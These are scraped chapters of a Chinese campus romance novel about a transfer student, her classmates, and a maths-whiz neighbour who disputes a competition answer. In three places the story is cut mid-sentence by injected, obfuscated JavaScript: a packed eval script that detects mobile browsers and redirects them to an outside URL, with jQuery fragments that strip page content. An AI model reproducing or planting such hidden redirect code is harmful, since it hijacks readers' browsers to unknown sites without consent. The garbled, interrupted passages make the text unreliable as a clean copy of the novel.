格格笑着摆了摆手说:“不用,我相信他。” 同学大笑:“哈哈哈哈哈飞仔你错付了……” 明厘朝教室后排看过去,那张空位孤零零地靠在最后,连个同桌都没有。 她问:“那个人是……?” 闻棠顺着她的目光看过去,小声说:“就是咱们班经常考第一那位,叫游灿,不过他这几天没来,好像请假了。” 那个935.5?原来他坐那儿啊。 明厘微微失落,本来还想看看长什么样呢。 “请假?” 同桌说:“对,应该……是参加竞赛训练营去了吧,我也不清楚。” 明厘敏锐地捕捉到关键字,“什么竞赛?” 闻棠也不敢肯定,“好像是数学吧,他一直学数学竞赛的。” 她正想再多了解两句,随着格格一声令下,话题戛然而止,考试开始了。 一班到底还是一班。 前一秒,都在哀嚎着补作业,开玩笑叽叽喳喳聊八卦,下一秒,卷子一发下来,所有人像是被施了咒,嘴巴封住,瞬间进入做题状态,一个比一个认真,就连前排的贺鸣飞都老实趴着了。 明厘在心里感慨了一句:这群变态学霸。 有考试就意味着有排名,有排名就意味着有落差。 但毕竟是来到新班级的第一次小测,担心之外,明厘还有点期待。她也挺想知道,传说中的一班有多强,更重要的是,她得弄清楚自己在班里的定位,为接下来两年的努力定个方向。 教室里安静极了,只有翻卷子和落笔的唰唰声,明厘认真地填上自己的姓名,班级,扫一眼题干,略加思索,开始动笔。 英语小测而已,就算题型变了,单词语法就那么些,考点不会变,她的英语成绩还是挺有底气,直到她迅速做完阅读题,翻过试卷,毫无防备正面对上了一道叫完形填空的题。 20道选择,连成一串,把好好的一篇文章扣得七零八碎。 这题型算经典高考题了,可惜海城不考,她也没怎么练过,思考两秒后,明厘把它扔到最后再做。 等其他题目都做得差不多了,再返回头看。最初她还是保持自己的节奏,一步步读题写答案,但做了两道就发现不对劲了。 她停下笔观察了一会,20个选择,前面的空填不上,后面就容易卡。可如果强行把前面填上了,理解有误,很容易搞成多米诺骨牌,后面错一片。 正当她拧着眉头脑风暴时,班里渐渐开始骚动起来。 明厘始终埋着头,一停也没停,但她心里清楚得很,出现这种骚动只有一个原因——他们做完了。 她咽了口水,教室里暖气开的足,她手心里出了汗,题目不算特别难,但估计是因为不熟悉题型,她做得不太顺。 本来写不出来就烦,她实在搞不懂,明明是一整篇阅读题!为什么!要印在正反两面! 看完了前面的原文,翻一页去看题目。 看完了题目就忘了原文,好不容易找到了原文又忘了题目,最后满脑子都是“马冬梅”在转圈。 而周围窃窃私语的声音逐渐放大,很多人都要坐不住了,前排的贺鸣飞正弓着身挡着桌洞玩手机,同桌闻棠也翻了卷子,应该是进入检查阶段了。 明厘深呼一口气,挽起袖子看了眼手表,在心里计算了下剩余时间,然后哗啦——果断把卷子撕开一半,把原文和答案放到同一面,一行一行重新再看一遍。 快到考试结束时,英语老师才重新走进来,招呼课代表收齐,然后两个班交换。 和其他同学相比,她的做题速度是慢了不少,但也算磕磕绊绊完成了。 于是,这天明厘如愿知道了自己在班里的位置。 满分95,她同桌87.5分,听周围人讨论,应该是最高的了,看着最不正经的贺鸣飞都拿了73。 她只有70分。 明厘盯着那一排红叉,果然,完形填空从第五道开始错,往下红了一片,在黑白卷子上开出大团恶臭的红花。 谁见了红叉都不高兴,她倒是没太往心里去,分析完错题就放书包里去了。 在明厘看来,没有一道错题是因为粗心大意,那就是知识储备的问题,所以这成绩正常,下回学好了再扳回来就是了。 明厘问同桌,“这个考试……是什么频率?每周都要考吗?” 闻棠抬起头,“不是,英语小测是隔一周一次。” 她放心了,刚想松一口气,就听到同桌又说:“隔的那周考数学,轮换着考。” ……明厘啊了一声,心重重沉下去。 这还不如考英语呢。 “我数学也不太好,”闻棠看见她的表情,和她聊起来,“每次考数学都害怕。” 贺鸣飞在前面听了半截她们的对话,忍不住扭头加入进来,“没事儿,我刚开学那会儿也经常焦虑,但只要你多刷题,多听课,多学习,就会发现……屁用没有!还是考不过大佬!” 他同桌也回过头来,“快得了吧你!别误导新同学了,你什么时候老老实实刷题听课了?” “说什么呢,三十年河东三十年河西,早晚有我翻身的一天。这种小测根本不算事,灿哥都不来考,我就算考第一有什么意思?等着下回月考,我和他一决高下,给你们开开眼。” 他同桌指着他评价:“这大傻逼疯了。” 明厘好奇问了一句:“他很厉害吗?” 贺鸣飞同桌:“谁?” 明厘:“就是你们说的那个,灿哥?” “不出意外的话,他每回都是第一啊。” “出意外的话呢?” “哦,出意外的话……好像拿过两回倒数第一。” 明厘愕然,“啊?” 闻棠点点头,“是的,他只考过两个名次,第一和倒数第一。” “缺考吗?”明厘不理解。 “也不是,我也不清楚,可能看他心情吧?心情好了就考个第一,心情不好就随便一做糊弄老师,”闻棠小声说,“就因为这事,年级主任上回直接去考场盯着他,怕他再胡来。” “盯着他,然后就能考第一了?” 闻棠摇头,“不是,盯着他,所以他考了个倒数第一。我当时坐他前面,收卷子的时候看了一眼,他全都写满了,但是一道也不对。” 明厘心说,这哪是大神,直接是大神经吧? 考个倒数第一还这么费劲,一审暂且判为装逼,后续有待观察。 等贺鸣飞和同桌又转过头去摆弄手机时,明厘看着他鬼鬼祟祟的背影,忽然想到什么。 还没回消息! 坏了。 她留下一句“好像有一个”,甩甩手就去考试了,估计得把芭娜娜吊惨了。 她赶紧掏出手机,一打开对话框,果然,哗哗翻了几页已经被她的消息刷屏。 -我就说真有吧!你先试着拿下,等我假期去找你玩拉出来见见。 -到底长什么样你快说啊! -?不理我? -说半截就走了什么人呐! -警告你,再不交出照片咱俩就要绝交了! -已经十分钟了,小明同学,你想干什么? -我最后给你一次机会! 明厘抓紧打字挽回:我刚考完试…… 芭娜娜秒回:考试? 小明:对,收获了20多个大红叉,这感觉很……新颖。 芭娜娜:不是吧?你也有今天?体会到我们学渣的乐趣了吧哈哈哈!现在,立刻,马上,交出照片饶你不死。 小明:好好好。 小明:但照片是真没—— 她一行字还没打完,班里不知道谁喊了一句:“网管!” 啪地一声,整个班陷入一片黑暗。灯灭的瞬间,四周漆黑,只有她的手机光格外突兀,明厘内心慌了一瞬,眼疾手快按死屏幕,一把塞进书包里。 “停电了?” 百年难得一遇的停电让她给碰上了? “嗯?”闻棠转过头来,对上她懵懵的表情,不自觉笑了笑,“不是,要看新闻了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375843|168334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 明厘更懵了,“什么新闻?” 闻棠也有些惊讶,“你们之前不看的吗?周三统一看新闻啊。” 她正茫然着,就看到那个被叫“网管”的男生走上讲台,还真把新闻频道调出来了。 明厘知道他,网管就是沸羊羊贺鸣飞的同桌,坐在她的斜前方。 全班都黑着的时候,玩手机简直是找死。 “这个要看多久?” 闻棠说:“半个小时。” “好吧。” 还要半小时。 明厘在心里诚恳地对焦湘说了对不起,委屈你了,再等我半个小时。 就在这时,前面的贺鸣飞从座位上站起来,揣着手机就出去了,接着,教室后排忽然传来一阵骚动。 明厘只下意识往后看了一眼,教室内灯光昏暗,新闻外放的音量很大,模糊之间,她看到两三个高个子男生站在一起,其中有一抹白色,高挑清瘦,在黑暗中很显眼。 她没心思关注,但是闻棠挺喜欢看八卦。 等新闻结束,闻棠小声跟她分享,“好像是游灿回来了。” 也许是今天听了太多遍这个名字,又或许是她在荣誉榜上多看了几眼,在听到“游灿”两个字时,她几乎是立刻追问:“什么?” 闻棠说:“刚刚我看到游灿和贺鸣飞一起出去了。” 人的下意识反应里往往带不了多少理性。明厘朝着后门看了一眼之后才反应过来,刚刚闻棠都说了,两个人已经出去了。 她却还是不死心想再看一眼,似乎这样就能追上谁似的。 好在没人注意到她突然看向后门的眼神,明厘迅速收回目光,又趴在桌子上沉浸看书。 * 教室外,贺鸣飞正一手抓着游灿的书包,一手艰难地扶着他肩膀,还得帮他把拐杖挪正,“我说你回来一趟净折腾我呢?” 游灿没好气地说:“你以为我想回来,要不是老师催着竞赛材料,我犯得着单脚跳回来吗?” “行了行了,反正你也快回学校了。” 贺鸣飞把他送到校门口,“哎灿哥,咱班来了个新同学你知道不?” “我上哪知道去?” 贺鸣飞挠头,“哦,也是啊,就坐我后边,还挺漂亮。” 游灿:“女生?” “对啊!从海城转学过来的,我那次去办公室看到巫老师桌上的信息表了,人家在海城也是数一数二的。” “海城?”游灿怔了一下,把书包拎到肩膀上,“海城距离这儿两千多公里呢,她是嫌高中还不够苦吗?” “谁知道……” 此刻,爱吃苦的明厘正慢吞吞地往笔袋里装笔,今天一天,她被同学弄皱了新书,下午遭遇英语考试滑铁卢,晚上又得知以后每周都要考试……种种倒霉事凑到一块,看漫画都觉得没意思。 所以玩了一晚上2048。 这些事还到不了影响心情的程度,小明同学最拿的出手的一点就是心态平稳,上一秒糟糕事不会耽误她这一秒的心情,翻篇,下一秒又是一条好汉。 走出教室时,太阳已经落山,西天边残留一条橘红色彩霞,由浓变淡,像一条宽阔的带子系在群山之上。 回过头来看,东方冒出一轮恍月,淡淡地洒下月光,给傍晚蒙上一层倦意。 明厘从教室出来后,看到的就是这样一幅群山落日美景。 她立刻把书包放下来,里面装了她偷偷带来的相机。她背靠教室外墙,举起相机,对准西边的晚霞,按下快门,把画面捕捉进镜头中。 果然,仅仅一分钟后,彩霞就被乌黑群山吞噬,天色随之暗了下来。 明厘趴在栏杆处看了会儿月亮,等最后一丝彩霞消失后,她起身也准备离开。 又一次路过荣誉榜,走廊的灯已经开了,月光和灯影交织成两个菱形,对半重合,映在墙上。 光影重叠,形成了巧合的一幕。 手里还拎着相机,她准备再拍一张。 四周没人,不远处传来学生下楼梯的脚步声,取景框内出现了白墙、菱形阴影,还有荣誉榜的一个角。 明厘稳稳地按下快门。 一瞬间,白墙、灯影、菱形,连同游灿这个名字,和着月光,被拍了下来。 5. 解题 学校规定,开学前三天不上晚自习,明厘下午回家后,明岚给她留了张便条:今晚要加班,冰箱里有便当,你加热一下。 明厘打开冰箱,拿出一盒便利店里买的滑蛋饭,放进微波炉里加热。 等着的空隙,还不忘了安慰一下正在悲愤中的焦湘。 芭娜娜:说半截你是想要我死吗? 小明:我刚回到家,sorry~ 芭娜娜:你这学校什么来头啊?不上晚自习的吗?不是我说,你转学这事也太突然了,就算你不想学竞赛了,去海城别的学校不行吗?非跑那么远,到底图什么啊? 微波炉叮地一声,提示她饭菜热好了,明厘戴了隔热手套,把滑蛋饭端出来,一边吃一边和朋友聊天。 小明:图刺激吧。 怎么不是呢?跨了大半个中国跑来,给人家市重点当倒数。 到底图什么。这个问题,明厘也想知道。 就算妈妈不说,她也能猜个七七八八。高中转学风险大,手续极其繁琐,但她明岚女士想干的事哪有干不成的,一个月之内搞定自己的新工作和她的新学校,风驰电掣带着她就走。 因为这事,班主任还给她打电话,苦口婆心地劝,高中学业紧,压力大,跑这么远,贸然转学肯定会不适应…… 但她有什么办法。 总不能头脑一热离家出走,当个小叫花子吧。 不管怎么说她还得上大学。 天花板的灯散出微弱的黄晕,明厘尝了口米饭,觉得味道有点淡,她起身去厨房找盐,结果只找到个干干净净的盐罐子。 一粒不剩,比洗过的都亮堂。 在手机上一查,最近的超市也得两公里,明厘闭了闭眼,打算享用一道无声无味的滑蛋饭。 芭娜娜还在微信上和她抱怨不想开学。明厘从小就不爱和人深交,她是为数不多的好友。 说来也奇怪,芭娜娜性格活泼火辣,却偏偏喜欢和高冷的人交朋友,以至于明厘一度怀疑她是不是绑定了什么攻略高冷男女朋友的系统。 两个人的友情多亏了她死缠烂打。也只有在和她相处的时候,明厘才能露出一点爱贫嘴和逗人的小尾巴,大部分时间依然是北极冰川尖尖上那一抹高冷积雪。 又埋头吃了两口,忍不了了。 衣柜门被打开,拿出外套,明厘利索地换好衣服,出门找盐。 她先去了阳台把窗户关好。 天色渐晚,黑幕悄然落下。屿城的天空是棕红色的,在夜里很诡异。 这座工业化高度发达的城市经常乌烟瘴气,抬头便是冒烟的高塔和横七竖八的高空作业车,不像她的家乡海城,临海,绿植多,空气能见度高,抬头就能看到满天繁星。 明厘仰起头,希望能找到一颗星星,可进入视线的只有楼上的白灯。 手刚碰到窗户,就被人叫住了。 “你家的保温桶,什么时候来拿?” 从天上掉下来的声音。 明厘仰着头向上看,只看到楼上阳台露出来的白色衣角。 她歪着头问了句,“你在跟我说话吗?” 楼上的声音又飘过来,是那个坐轮椅的男生。“对,我不方便下去,你有空来拿吗?” 明厘想了想,“我马上去。” 刚上楼就注意到一个有意思的事,她家住在三楼304,那么楼上的话…… 明厘抬头,果然门牌上清楚印着“404”,明厘心里冒出来一个空白页面:NotFound。 但这家显然很快加载出来了,门从里面打开,男生依然坐在轮椅上,腿上依然盖着那条毯子。 “我姥爷出去散步了,保温桶在餐厅桌子上,你自己去拿吧。”男生语速慢悠悠的,听着挺自来熟。 “好。” 明厘低着头,在别人家里,眼神尽量不往别的地方瞟,快速走到他指的地方,拿了保温桶就转身走。 男生就在这时候出声,“哎,这个还给你。” 她回过头,男生递过来一本书,书名叫《康复医学与护理》。 “你送的书都挺有意思,但我对护理学不太感兴趣,”他说,“而且,里面有你的东西。” 明厘疑惑着接过来,散开书页,一张叠得方正的卷子掉到了地上。 她随手捡起来,那是一张数学试卷,转学之前的最后一次竞赛练习试题。 最后那次考试结束后,她没等教练讲评就办了转学,只拜托焦湘给她要了份答案,自己订正又修改了错题。 试卷上有黑色答案、红色订正和蓝色解析三种笔迹,步骤写得满满当当。 她说:“谢谢。” “客气了,本来就是你的东西,”他说,“不过我有个疑问。” 明厘看向他。 “最后那道题,你把根号三划掉,改成根号二,是为什么?” “因为正确答案是根号二啊?”明厘脱口而出。 “能给我讲讲吗?” 明厘没想到他能提出这种要求,而且奇怪得很,这可是竞赛题目,难度不小,但……既然他诚心问了,也没有不给讲题的道理。 她心里还愧疚着,不找点事弥补一下也过意不去,“可以。” 没等她开讲,男生自己挪动到沙发旁,拉开下面茶几的抽屉,翻翻找找,摸出一根笔递给她。 “你用这个吧。” “哦,谢谢。” 明厘坐在沙发上,跟他看着同一张卷子。 太长时间没见,她有点忘了这题怎么解的。 考虑到男生的受教育实际情况,她小心翼翼地讲了第一句。 “从这一步,到这一步,用的是勾股定理,”她在纸上画出一个三角形,“你……学过吗?” 游灿用一种奇怪的眼神,盯着她,“我——” 我看起来像傻子吗? 好在就在脱口而出的前一秒,他想起姥爷嘱咐的话,“楼下小姑娘刚搬来不久,一个朋友都没有,每天只能孤零零地闷在屋里写作业,你要是不好好跟人家相处,我就打断你的狗腿。” 他挺不自在地咳了一声:“我应该是……略知一二。” 明厘点点头,那就好。 她能感觉到,男生看了她一眼,眼神有点奇怪,但没关系,明厘不在乎这种小事。 “然后就可以往下推算了。”她又画了一条线在几何图形上,信心十足。 学生在给别人讲题的时候,最大的底气是什么? 当然是已知的正确答案。 只要有了正确答案,拐个十八弯也能给你靠上。 男生忽然指出来,“但你刚才也说了,这个和这个,相等。” “嗯,对,这样就能得出计算结果,”明厘直接写在试卷上,思路清晰,“套入公式,我来给你代入数字计算一下。” 他看起来对数学很有兴趣,但基本的步骤都不太懂,时不时问这个怎么来的那个怎么来的。 明厘心地善良,尽量每个步骤都给他掰开揉碎了讲出来。 男生问:“所以,计算结果是?” 明厘写下最后一个数字,说:“根号三。” …… 男生不说话了,眉梢微挑,好笑地看着她。 明厘沉默,垂眸盯着眼前的试卷。 是啊,都说了标准答案是根号二,她一顿操作猛如虎,解出来一个根号三。 这下明厘搞不懂了。 她尴尬地咽了咽口水,强撑着面子说:“可能是我哪里计算出错了,我再给你算一下吧……” 他摆摆手,“不用,我只是好奇而已,不用当回事儿。” 那怎么行。 男生眼神亮晶晶的,像藏着银河,明厘知道那就是对知识的渴望。 她好不容易有了帮助别人学习的机会,有了弥补的机会,决不能轻易放过。而且她也挺想知道哪里算错了。 “你放心,我肯定能给你讲明白的。我明天问问别的同学怎么解。” 男生懒懒地托着腮,“也有可能是答案错了呢?” “不会的,”明厘坚定地说,“答案就是根号二,我不可能抄错答案。” “那行吧,”他说,“不过问老师也许更快一点?” 数学老师就是班主任巫老师,巫老师看起来很温柔,但她还没上过数学课,也不想单独跑去办公室,相比之下还是问同学更放松。 “不用,我们班同学挺厉害的。” 她闲着也没事,回家没人玩,就跟男生多聊了两句。 “是吗?”他还挺感兴趣,扬眉问,“多厉害?” “数学经常满分,基本上每次都是年级第一,还学竞赛。” 她不知道为什么要这样回答,但此刻,她脑子里最清晰的就是935.5的形象,正适合半真半假说出来吓唬人。 这话越听越奇怪,游灿沉默了两秒,问道:“你哪个学校的?” 明厘回答:“一中的。” “你是说……春园路那个市一中?”他愕然问道。 一看他那个样子就是被吓住了。 明厘说:“对。挺厉害吧?而且还是竞赛生,随随便便都能考900多分,数学断层第一。” 男生看上去欲言又止,看了她好几眼,内心十分纠结,最后朝着她竖了个大拇指,“厉害……那、那确实是挺厉害。” 明厘对他的反应还算满意,她看了看时间,在这待了半个多小时了,她还没吃上饭。 男生见她一直看表,问道:“你有急事?如果有事你就先走。” “不是,我要去……买盐。” “盐?” 明厘说:“嗯,家里没有盐了。” “噢,”男生说,“但是天都黑了,你走路过去也得七八分钟,必须今天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她不会,并不代表别人不会。 “这我真的不会。”闻棠看着卷子,为难地说:“我数学真不好……这一看就是压轴题,我从来没做出来过。” 前后四个人围成一圈,盯着桌子中间那张卷子。 网管说:“你这不是写了答案了吗?” 明厘:“但是我算出来还是不对。” 贺鸣飞放下笔:“艹,算好几遍了,还是根号三。” 闻棠也犯了难,“要不问问巫老师吧?” “巫老师今天不在学校,老师们都去开调研会了,”贺鸣飞拿出手机,嘿嘿一笑,“我早上路过办公室偷听到的。” “靠,你不早说!”网管从书包里翻出耳机戴上,“我还藏了一上午,担惊受怕的。” “你也没问啊,我这不是怕耽误您学习吗?” “我呸!赶紧的,开一把,我快困死了,来一局提提神!” 讨论的中心从数学卷子成功偏题,闻棠摸了摸鼻子,“你要不等巫老师回来问问呢,很着急吗?” 明厘趴在桌子上,“没事,不着急。” 贺鸣飞又忽然想到什么,摸着手机咔擦一张,“小问题!等着我给你找外援。” 网管问:“找谁啊?” 贺鸣飞低着头飞速打字,“啧,还能有谁?” “哦,行吧,我知道了。” 找谁啊? 明厘听不懂,她低着头不说话。 不过,也就五分钟之后,贺鸣飞转过头来,“回了!” 这么快就解出来了? 他把手机放在桌子上,三个人都好奇地探过头。 屏幕上是和那位外援的聊天记录。 上面是他发出去的消息。 贺:在上网课不?有道题特有意思,你给看看。 外援:不看。 …… 三个人无语地齐齐看向贺鸣飞。 六只眼睛盯着他,贺鸣飞挠了挠头,“他这、他忙着上课呢这狗玩意!” 他又转过头去弓着腰发了几句,就算老师不在,他也维持着鬼鬼祟祟的姿势。 手机嗡嗡响了好几次,屏幕忽亮忽暗。 游灿往后一仰,靠在椅子上,悠悠自在地转着笔,百无聊赖拿起来看了一眼。 他整个暑假都泡在家里学数学,看网课,做卷子,受伤之后更是哪儿都不用去了。 贺鸣飞:新鲜的压轴题来了!瞧一瞧看一看啊~不难不要钱!做过的都说好! 贺鸣飞:【图片】 游灿左手夹着笔,稍微用力一弹,圆珠笔优雅地在中指背上滚了一圈。他右手点开图片,放大。 看清题目的瞬间,食指一抖,没勾住,猝不及防那只笔啪嗒摔到地上。 他啧了一声,弯腰捡起笔,又夹在指尖翻转,然后盯着那张图片。 越看越觉得眼熟。 巧了不是。 这道题,昨晚他刚听楼下那位胡诌完。 他想了想,给贺鸣飞回了条消息。 -问你个事,咱班里转来的那位新同学,叫什么名? 6. 外援 咚咚咚。 “谁啊?来了!” 不用去学校就是自在,游灿在家一觉睡到下午,刚起床还晕头转向的就听到有人敲门,他赶紧裹上毯子去给人开门。 门板拉开,拿着几张纸的明厘出现在门口。 “你……” 还没等他说完,明厘气喘吁吁:“那道题我算出来了。” 他坐在轮椅上,揉了揉眼睛,强行睁眼,“什么?” 明厘把卷子展开,给他指了指最后那道压轴题。 ……原来是为了这事。 游灿轻轻叹了口气,“你先进来吧。” 404家里非常干净,从那天老爷爷的着装也能看得出来,人和屋子都充满浓厚的书香气。 家具陈设不多,走的是上世纪古典风,客厅内做了个镂空雕花木门,地板也是木制的,进门就有一股暖和的木香,闻着有点催眠,身心都放松了。 玄关处摆着几个青花瓷花瓶,刻着缠枝莲纹,最显眼的是半面墙大书柜,直通天花板,上面七七八八摆满了书,高矮不一,但一点也不杂乱。 这是明厘第三次来404,她尽量不那么显眼地打量了一圈。 沙发是暗红色,丝绒的,灯下闪着细碎的光,坐在上面像跌入一池红酒,盖着米色手工针织毯子,别有一丝韵味。 游灿就坐在轮椅上,和她隔着茶几的一角。 “你准备好了吗?”明厘问。 “我?”游灿指着自己。 她点点头,实话实说,“你看起来像没睡醒。” 他是真没想到刚起床就要被人拽来听课。 游灿搓了把脸,掀开眼皮,“不好意思啊,你讲吧。” “先回顾一下昨天的思路,”明厘端起老师的范儿,“就在这一步,我们讨论的是大于0的情况对吧?但其实还有一种可能。” 游灿很快进入状态,惊讶道:“是吗?” “嗯!”明厘重重点头,深表同意,“还有可能等于0,所以从这里开始就漏掉了一种可能性,导致最后得出的答案只有根号三,但按照等于0来计算……” 她熟练又快速地在纸上写下演算公式,对面的游灿瞪大双眼,强打精神。 “……最后一步再化简一下,这样就是根号二了。”明厘在纸上写完最后一笔,抬眸看向他。 然而他眼神还是呆滞的。 明厘心说,不会是她语速太快,导致他思路还没跟上吧?她光顾着把题目讲出来了,居然忘了唯一的学生的感受。 明厘斟酌着:“我……有哪个地方没讲明白吗?” 游灿抬起头来,对上她的眼睛,忽而笑了下。 “我都听明白了,也就是说,这道题,根号二和根号三都对,有两个答案对吧?” “对,就是这样。” “你讲的非常好,真的,我基础这么差都能听懂。” “那就好。”明厘松了一口气,“能帮到你就好。” 她心里的负担卸下,男生的笑容让人觉得心里一阵暖意。 他今天穿一件很橙红色毛衣,是清晨初生的太阳那种橙红,很骚包的颜色。不过男生笑起来很灿烂,也亏着皮肤白,于是橙红色显得很活泼。 明厘忽然想起冬天用的那种小太阳,临近年关那几天,海城又潮又冷,明厘就把小太阳摆在腿旁,发光发热,她裹着小毛毯写作业,温暖又踏实。 不过话说回来,他能理解这么难的题目,是不是说明本身水平就不错? 明厘看了眼低头看卷子的男生,他却像是捕捉到那缕目光似的,忽然抬起头。 四目相对的下一刻,两个人又同时挪开视线。 明厘扫过他的脸,不着痕迹地将目光转移到他身后的黑色轮椅上,男生则转头指了指茶几上的果盘,问道:“吃吗?” 她放了学就快马加鞭跑来了,回家搁了书包就走,饭还没吃,这会儿看着水果都有点饿。 男生大方地把果盘往她面前推了推,“别客气,吃吧。” 说着,自己叉了一块西瓜大口吃了。 明厘也没跟他客气,吃了块苹果。 讲完题之后,屋里忽然就陷入了一阵尴尬的寂静,静到她不太好意思再吃嘎嘣脆的苹果,转手叉了块软糯的芒果。 男生似乎没觉得气氛有什么不对,他拿着卷子从上看到下,忽然问了个问题: “这题是你做出来的吗?” 明厘嚼着芒果肉,没急着回答。 * 早在今天下午,贺鸣飞和同桌网管在王者峡谷奋战了好几轮,骂骂咧咧退出来后才注意到,手机来了新消息。 “卧槽。”他盯着手机叫唤了一句。 吓得旁边的网管一哆嗦,“滚啊!一惊一乍的干什么!” “做出来了做出来了!” 贺鸣飞拍了他一巴掌,转过头去,敲了敲明厘和闻棠的桌面。 两位女生都抬起头。 贺鸣飞把手机放在明厘桌子上,螃蟹似的靠着墙,“我就说灿哥肯定能解出来吧,这不就来了!” 明厘还半懵着。 闻棠说:“就是他上午说请的外援。” “所以请了谁?” 闻棠指了指教室后面那张空桌子。 明厘懂了。哦,是那个935.5。 虽然记得他叫什么名字,但毕竟没见过本人,也毫无交集,明厘总觉得,如果从她嘴里说出“游灿”这名字,会很奇怪。 闻棠认真地盯着屏幕,率先发现了不对劲,“答案不是根号二吗?” 网管也看过来,“灿哥算的多少?根号三?” 贺鸣飞光忙着嚷嚷消息,其实自己都还没看写的什么,他把屏幕正过来,“根号二,和……根号三?” “两个答案?!” 四个人围成一圈,都没说话。 闻棠和明厘不说话是因为在认真看外援写的解答过程。 贺鸣飞和网管不说话是因为他俩压根看不懂。 “我感觉他写得挺对的,”闻棠小声说了一句,她又问明厘,“这个答案准吗?” “准的。” 明厘从没怀疑过答案的正确性。她没去学校,是芭娜娜给抄来的,芭娜娜学习不上心,但抄答案很靠谱,开学前一晚的巅峰时期能左右手双开,速度和准确性都十分惊人。 于是贺鸣飞又给外援发消息。 贺鸣飞:哥,你确定答案是这个? 对面的几乎是秒回。 游灿:俩。 贺鸣飞:不对吧,答案是根号二啊。 …… 贺鸣飞把聊天记录给三个人看。 对面大概就是传说中的外援了,头像是张橘黄色猫猫的照片,脑袋上架一副眼镜,头趴在摊开的书上,圆滚滚的很可爱。 猫猫头的回复简洁明了:答案错了。 敢质疑她的答案。 明厘心说:呵,好猖狂。 好学生闻棠已经动笔在计算了,明厘就在旁边看着她算。 一道题目看不出来什么,但通过这道题,她也隐约摸清了点周围人的水平。 这题是海城那边的竞赛题,和屿城的侧重考点不太一样,而猫猫头不光做得挺顺利,还有底气质疑答案,光凭这点,足以看出他数学底子是真的强,估计没什么水分。 闻棠学习刻苦,数学虽然不拔尖,但也不拖后腿,看了看外援写的解析自己也顺利推导出来了。 相比之下,网管和贺鸣飞两个人就像是打酱油的。 他俩也跟闻棠一样拿着笔演算,有模有样的,但写了几个数字就卡住了。然后瞪着眼,伸长脖子,你看看我算的,我看看你算的,最后两个脑子一合计: 别装了,我知道你也看不懂。 “所以到底谁对谁错啊?”闻棠又看了遍演算过程,皱着眉。 明厘也跟着看了一眼,确实,外援给出的步骤简洁,却挑不出毛病,思路完整清晰。 贺鸣飞啧了一声,“这波我还是站灿哥。” “你这就叫盲从,有句话不是说吗?人有失蹄马有失足。”网管说。 贺鸣飞:“录下来了啊,我去告诉游灿你说他长蹄子。” 最终,明厘掏出手机给芭娜娜发了消息。 那边也回的很快。 芭娜娜:嘿嘿,找到卷子了。 一分钟后。 芭娜娜:嘿嘿,我抄错了,漏了个答案。 对上三个人热切期待的眼神,明厘无语地抬起头,“我答案抄错了。” 没想到猫猫头还真做对了,明厘顿时就很不爽。 虽然她也说不清这种不爽的来源是什么。 * 面对404的询问,明厘虽然瞧不起935.5的装逼行为,但也如实说:“是我们班那个年级第一做出来的。” 游灿当时就挑了挑眉,意味深长地笑了下,“年级第一啊?” 明厘:“对。” 他低着头没看她,问道:“叫什么名字?” 明厘觉得很奇怪,“你认识吗?” “不认识,”他又塞了一颗葡萄,“让你说得挺厉害的,想认识一下。” 这事儿明厘就得考虑一下了。她不确定913.5同学想不想认识404,但如果擅自把同学的信息泄露给别人,好像有点不礼貌。 明厘说:“我不知道,我是刚转学过来的。” 游灿哦了一声,没打算再追问,随口聊了两句:“从海城过来的吗?” 明厘惊讶道:“你怎么知道?” “我猜的,”他说,“听着口音有点像。” 你是想说我不会儿化音吗? 明厘没理他。 “是我有个亲戚经常去海城,他有时候就跟我说两句那边的事。”游灿说。 “去旅游吗?”她问道。 海城是个旅游热地,风景宜人,四季都适合度假。 “去比赛,打网球,”他从桌子上随手拿了一罐可乐,又递给明厘一个,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375845|168334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他说那边的数理化竞赛也很牛,所以你数学才这么好?” 她没好意思接可乐,“我数学一般。” 游灿食指勾住拉环,轻轻一提,拉开可乐喝了口,“不用谦虚,你起码还做出来一个答案,已经比大部分人强多了。” 那有什么用,还是不如935.5,明厘心说。 喝了两口可乐提神,游灿这会儿已经不困了,他又看了几眼卷子,而后抬头打量着面前的女生。 齐肩的短发随手挽到耳后,露出一对小巧的耳朵。 她声音清凌凌的,说话的调子也很平,冷静沉着,给人感觉不怎么爱笑,但给他讲题的时候没有一丝不耐烦,哪怕是打写在草稿纸上,也一笔一划整整齐齐。 像个认真又有点倔强的女孩。 那张卷子他早就看过,前几天无聊翻书的时候掉出来的。正确率很高,最后那道压轴题少了一个答案,除此之外全对。 昨天见她的时候还冷着脸,也不喜欢说话,瞧着脾气不怎么好。 今天讲了一道题的功夫,忽然就多云转晴了。 明厘确实心情好了不少。 不知道是不是因为弄懂了一道数学题,学霸当久了就有这么个毛病。解不出来的题屈指可数,但真要有道题怎么也解不出来,就跟脚后跟扎了根刺似的,看不见摸不着,走两步就要疼,提醒你,那道题还没做出来哦。 现在这刺被连根拔走了,浑身都舒坦多了。 也许还有别的原因。 她在新班级待了三天,对同学们来说只是多了一个转校生,无非是课间空里的两句闲谈,但对她来说,一下子多了二十几个陌生人。 她需要一个个记住名字,一个个去了解,这过程漫长而且孤独。 明厘目前处于尚未进入过程的状态。 